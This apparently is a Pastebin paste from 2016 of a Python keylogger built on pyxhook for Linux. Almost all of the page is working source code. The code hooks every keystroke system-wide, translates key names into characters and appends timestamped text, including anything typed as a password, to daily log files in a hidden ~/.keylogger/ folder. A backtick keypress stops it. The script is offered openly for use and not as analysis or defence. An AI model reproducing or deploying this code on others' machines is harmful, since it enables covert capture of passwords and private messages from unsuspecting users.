Guest User

Python keylogger

a guest
Dec 15th, 2016
2,115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.35 KB | None | 0 0
  1. import pyxhook
  2. import os
  3. from subprocess import call
  4. from time import *
  5.  
  6. #checks if program is starting up for first time
  7. startup = 1
  8. #home folder of user
  9. homefolder = os.environ['HOME']
  10.  
  11. #path where logs are stored
  12. filepath = homefolder + '/.keylogger/'
  13.  
  14. #creates log folder if it doesn't exist yet
  15. if os.path.isdir(filepath) == False:
  16.     call(['mkdir', filepath])
  17.  
  18. #file to put logs
  19. #has timestamp which also creates a new file the next day
  20. log_file = filepath + strftime("%d:%m:%Y") + '.log'
  21.  
  22. #used to see if caps is on so we can put a <CAPS> and </CAPS> tag
  23. caps = 0
  24.  
  25. def OnKeyPress(event):
  26.  
  27.   fob=open(log_file, 'a')
  28.  
  29.   global caps
  30.   global startup
  31.  
  32.   #checks if startup
  33.   if startup == 1:
  34.     fob.write('\nNEW SESSION AT ' + strftime("%H:%M:%S: "))
  35.     startup = 0
  36.  
  37.   #Newline if enter is pushed
  38.   if event.Key == 'Return':
  39.     fob.write('\n')
  40.     fob.write(strftime("%H:%M:%S: "))
  41.  
  42.   #I'm sorry for this blatant DRY (Don't repeat yourself) violation
  43.   #Makes exceptions for special characters
  44.   elif event.Key == 'space':
  45.     fob.write(' ')
  46.  
  47.   elif event.Key == 'Control_L' or event.Key == 'Control_R' or event.Key == 'Alt_L' or event.Key == 'Alt_R' or event.Key == 'Shift_L' or event.Key == 'Shift_R':
  48.     fob.write(' ' + event.Key + ' ')
  49.  
  50.   elif event.Key == 'Caps_Lock':
  51.  
  52.     if caps == 0:
  53.         fob.write(' <CAPS> ')
  54.         caps = 1
  55.  
  56.     else:
  57.         fob.write(' </CAPS> ')
  58.         caps = 0
  59.  
  60.   elif event.Key == 'exclam':
  61.     fob.write('!')
  62.  
  63.   elif event.Key == 'BackSpace':
  64.     fob.write('')
  65.  
  66.   elif event.Key == 'at':
  67.     fob.write('@')
  68.  
  69.   elif event.Key == 'numbersign':
  70.     fob.write('#')
  71.  
  72.   elif event.Key == 'dollar':
  73.     fob.write('$')
  74.  
  75.   elif event.Key == 'percent':
  76.     fob.write('%')
  77.  
  78.   elif event.Key == 'asciicircum':
  79.     fob.write('^')
  80.  
  81.   elif event.Key == 'ampersand':
  82.     fob.write('&')
  83.  
  84.   elif event.Key == 'asterisk':
  85.     fob.write('*')
  86.  
  87.   elif event.Key == 'parenleft':
  88.     fob.write('(')
  89.  
  90.   elif event.Key == 'parenright':
  91.     fob.write(')')
  92.  
  93.   elif event.Key == 'underscore':
  94.     fob.write('_')
  95.  
  96.   elif event.Key == 'minus':
  97.     fob.write('-')
  98.  
  99.   elif event.Key == 'equal':
  100.     fob.write('=')
  101.  
  102.   elif event.Key == 'plus':
  103.     fob.write('+')
  104.  
  105.   elif event.Key == 'backslash':
  106.     fob.write('\\')
  107.  
  108.   elif event.Key == 'bar':
  109.     fob.write('|')
  110.  
  111.   elif event.Key == 'bracketright':
  112.     fob.write(']')
  113.  
  114.   elif event.Key == 'bracketleft':
  115.     fob.write('[')
  116.  
  117.   elif event.Key == 'braceright':
  118.     fob.write('}')
  119.  
  120.   elif event.Key == 'braceleft':
  121.     fob.write('{')
  122.  
  123.   elif event.Key == 'apostrophe':
  124.     fob.write('\'')
  125.  
  126.   elif event.Key == 'quotedbl':
  127.     fob.write('"')
  128.  
  129.   elif event.Key == 'semicolon':
  130.     fob.write(';')
  131.  
  132.   elif event.Key == 'colon':
  133.     fob.write(':')
  134.  
  135.   elif event.Key == 'slash':
  136.     fob.write('/')
  137.  
  138.   elif event.Key == 'question':
  139.     fob.write('?')
  140.  
  141.   elif event.Key == 'period':
  142.     fob.write('.')
  143.  
  144.   elif event.Key == 'greater':
  145.     fob.write('>')
  146.  
  147.   elif event.Key == 'comma':
  148.     fob.write(',')
  149.  
  150.   elif event.Key == 'less':
  151.     fob.write('<')
  152.  
  153.   elif event.Key == 'asciitilede':
  154.     fob.write('~')
  155.  
  156.   else:
  157.     fob.write(event.Key)
  158.  
  159.   #96 is this character: `
  160.   if event.Ascii==96:
  161.     fob.write('\n')
  162.     fob.close()
  163.     new_hook.cancel()
  164.  
  165. #prepares hook
  166. new_hook=pyxhook.HookManager()
  167. new_hook.KeyDown=OnKeyPress
  168. new_hook.HookKeyboard()
  169. new_hook.start()
Advertisement
Add Comment
Please, Sign In to add comment